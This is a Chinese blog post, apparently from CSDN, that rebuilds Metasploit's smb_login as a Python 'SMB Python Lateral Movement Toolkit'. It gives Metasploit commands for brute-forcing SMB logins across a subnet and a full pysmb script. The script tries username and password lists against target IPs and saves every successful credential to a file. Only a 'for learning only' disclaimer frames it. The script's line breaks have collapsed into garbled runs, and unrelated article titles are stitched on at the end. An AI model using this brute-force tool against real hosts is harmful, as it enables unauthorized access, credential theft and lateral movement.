Server Message Block (SMB) Intro

服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并从计算机网络中的服务器程序请求服务。客户端可以读取、创建和修改远程服务器上的文件。
本文目标是用python实现 metasploit 中的 smb_login功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

SMB 主要漏洞

漏洞名称 CVE编号 发现日期
EternalBlue MS17-010 2017
SMBGhost CVE-2020-0796 2020. 3

扫描smb服务可以查出版本漏洞,以及弱口令漏洞。

Metasploit 中的 smb_login

在运行Metasploit 后运行下面代码,user.txt 和 pass.txt分别为用户设置的用户名字典密码字典 (也可以只设置单个用户名或密码),设置的扫描目标IP地址是RHOSTS。

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.10.16
set USER_FILE /root/users.txt
set PASS_FILE /root/pass.txt
run

smb_login 也可以扫描多个IP地址以及整个网段,只需要在RHIOSTS里设置:

set RHOSTS 192.168.10.10, 192.168.10.11
set RHOSTS 192.168.10.0/24

Python 实现 smb_login

python代码运用了SMBConnection库。实现了三个SMB扫描的基本功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

注:此脚本仅供学习,任何非法使用与本人无关。

import os
from smb.SMBConnection import SMBConnection############################ Clear Consle While Start a Loop ##############################
def clear():os.system('cls') #on Windows System############################ Collect Single Credential From User Input ##############################
def CollectCredential():remote_ip = input('Enter Host IP:')username = input('Enter SMB Username:')password = input('Enter SMB Password:')domain = input('Enter Domain Name:')return(remote_ip,username,password,domain)############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):ver = []try:file = open(up, 'r')data = file.readlines()print('File Direction Verified.')for line in data:ver.append(line.strip())except:ver.append(up)return verreturn ver############################ Collect File Directions From User Input ##############################
#Support IP, username, password SMB brute force attack,
#user can input single attributes replace one to three attributes with files
def CollectFiles():remote_ip = input('Enter Host IP or File Direction:')remote_ip = VerifyFile(remote_ip)username = input('Enter SMB Username or File Direction:')username = VerifyFile(username)password = input('Enter SMB Password or File Direction:')password = VerifyFile(password)domain = input('Enter Domain Name:')return(remote_ip,username,password,domain)############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():try:with open("Credential.txt",mode='w',encoding='utf-8') as ff:for i in range(len(credential)): ff.write(credential[i]+' ')if (i+1) % 4 == 0:ff.write('\n')except FileNotFoundError:with open("Credential.txt",mode='w',encoding='utf-8') as ff:for i in range(len(credential)): ff.write(credential[i]+' ')if (i+1) % 4 == 0:ff.write('\n')############################ SMB Functions Using SMBConnection ##############################
class SMB(object):def __init__(self,remote_ip,username,password,domain):self.remote_ip = remote_ipself.username = usernameself.password = passwordself.domain = domain############################ Use the Single Credential CollectCredential() to Login ##############################     def SingleLoginScanner(self):my_name = ""remote_name = ""try:self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)connected = self.conn.connect(self.remote_ip,445)   if connected == True:print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))credential.append(self.remote_ip)credential.append(self.username)credential.append(self.password)credential.append(self.domain)print("Credential",credential)else:print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))self.conn.close()   except Exception as e:print(e)############################ Use the Multiple Credentials CollectFiles() to Login ##############################     def MultiLoginScanner(self):count = 0my_name = ""remote_name = ""for ip in self.remote_ip:for username in self.username:for password in self.password:count += 1try:self.conn = SMBConnection(username, password, self.domain, my_name, remote_name, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)connected = self.conn.connect(ip,445)      if connected == True:print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))credential.append(ip)credential.append(username)credential.append(password)credential.append(self.domain)print("Credential",credential)else:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))   self.conn.close()except Exception as e:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))print(e)############################ SMB Functions Support User to Chose ##############################
def main():while(1):print('********************SMB PYTHON TOOKIT********************')print('1. Single credential SMB Login Scanner')print('2. Credentials list from file SMB Brute Force')print('3. Generate Collected Credentials')print('4. Quit')print('*********************************************************\n')chose = input('Type number to pick function:')if chose == '1':print('Only support to input single ip address, username and password.\n')remote_ip,username,password,domain = CollectCredential()smb = SMB(remote_ip,username,password,domain) smb.SingleLoginScanner()elif chose == '2':print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')remote_ip,username,password,domain = CollectFiles()smb = SMB(remote_ip,username,password,domain) smb.MultiLoginScanner()elif chose == '3':print('Generating Successful Credentials in a txt file...\n')GenerateCredentials()print('Generated Credential.txt in the same python Directory.\n')else:print('Please input valid number!\n')clear()if __name__ == '__main__':credential = []main()

Github 代码:https://github.com/redemptionwxy/SMB-Python-Lateral-Movement-Toolkit

Reference

https://github.com/rahulinux/PythonPractice-/blob/master/samba_client.py

https://github.com/n3if/scripts/blob/master/smb_enumerator/smb_enumerator.py

https://pysmb.readthedocs.io/en/latest/api/smb_SMBConnection.html

python实现SMB服务账号密码爆破功能 Metasploit 中的 smb_login相关推荐

  1. android中注册的账号密码储存在,Android中使用SharedPreferences完成记住账号密码的功能...

    效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 SharedPreferences会记录CheckBox的状态,如 ...

  2. 利用SharedPreferences完成记住账号密码的功能

    利用SharedPreferences完成记住账号密码的功能 效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 Sh ...

  3. Jsp使用Cookie完成记住账号密码的功能

    网站中对于记住账号密码,方便下次登录的使用非常普遍,那么它是怎么实现的呢? 首先他的流程是,设计一个复选框,当选中复选框时,就会传值到处理页面,复选框的用途就是判断用户是否愿意记住账号密码. 我们通过 ...

  4. python模拟登录qq账号密码_最新的Python模拟登陆QQ脚本,一键批量登录,强行过验证!...

    Python模拟QQ批量登陆脚本,以下代码附带解释以便于理解思路. Python代码: #coding=utf-8 import os import time import win32gui impo ...

  5. 开启火狐浏览器的账号密码导入功能

    最近重装了自己的电脑,在重装电脑之前导出了火狐浏览器记录的登录信息,想后面重装后导入进去,结果发现只有从别的浏览器导入的选项没有从文件导入的选项.后面经网上查找发现,从文件导入的这个功能是默认关闭了的 ...

  6. Python 简易登录系统账号密码检测

    # 简易登录系统账号密码检测""" 知识点:1.while 循环语句2.if/elif/else 条件语句 """# 定义变量 s = 3 ...

  7. 用python抢火车票_Python3实现抢火车票功能(中)

    导语 在"python抢火车票(上)"一文中我们完成了项目内容1和项目内容2,即利用python实现火车/高铁票查询功能以及利用python实现抢火车/高铁票功能,对项目内容1和项 ...

  8. 二维码的妙用:通过Zxing实现wifi账号密码分享功能

    二维码是搭载信息的一种载体,通过二维码可以传递名片.网址.商品信息等,本文讲到二维码的另外一种妙用:通过二维码实现wifi账号和密码分享. 关于二维码的基础知识,请访问:二维码的生成细节和原理 试想这 ...

  9. python编写排列组合,密码生产功能

    python编写排列组合 python在编写排列组合是会用到  itertools 模块 排列 import itertools mylist = list(itertools.permutation ...

最新文章

  1. MarkdownPad2.5 注册码
  2. Java报告比较日期_Java程序如果一个日期在另一个日期之后比较日期
  3. 《经济学人》也谈 Python:它会是我们的未来吗?
  4. IBM遭标普下调评级
  5. 判断数字是否在区间 python实现
  6. 在外企必会的10个英文单词 (Ten words you must mastered for foreign company employee)
  7. Cento7 PHP5.6 升级 PHP7.0.0
  8. 万能门店小程序_超市门店微信小程序注册流程
  9. Kogito,ergo规则:从知识到服务,轻松自如
  10. 一张图学会python 3_一张图学会Python?想啥呢?!
  11. KDD CUP 2018:中国团队包揽前三名,TOP1方案出炉
  12. c语言数组插入一个数字 移位,如何将一个数组的元素循环左移?
  13. spring boot 教程(四) 统一异常处理
  14. Linux的段错误调试方法
  15. 2013计算机核心期刊,2013年度发表国内核心期刊论文
  16. 关于中国电信面试问到的问题
  17. 1.21 同级比较 倒装句 否定Neither
  18. ios12怎么滑屏解锁_iOS12.2 越狱来袭,又是一波秀
  19. 央企控股及并购重组概念股名单
  20. Chromium 文件下载

热门文章

  1. 卡尔曼滤波估计小车匀加速运动
  2. 善事利器:vscode 编辑器的天花板
  3. 什么叫模型,什么叫算法
  4. 使用IntelliJ IDEA如何运行单个程序 不报其他程序的错误
  5. SYD8801低功耗【深度睡眠模式】【浅度睡眠模式】【进入睡眠模式后要等待硬件进入睡眠】【内部上拉电阻对功耗的影响】【测试低功耗步骤】
  6. 2023年春节祝福第二弹——送你一只守护兔,让它温暖每一个你【html5 css3】画会动的小兔子,炫酷充电,字体特效
  7. python correlate_Python numpy.correlate函数方法的使用
  8. Android Camera HAL3 - Multi Camera(1)
  9. 2023年最新5A景区有多少个?Python可视化告诉你
  10. JAVA感知机的动态分类实现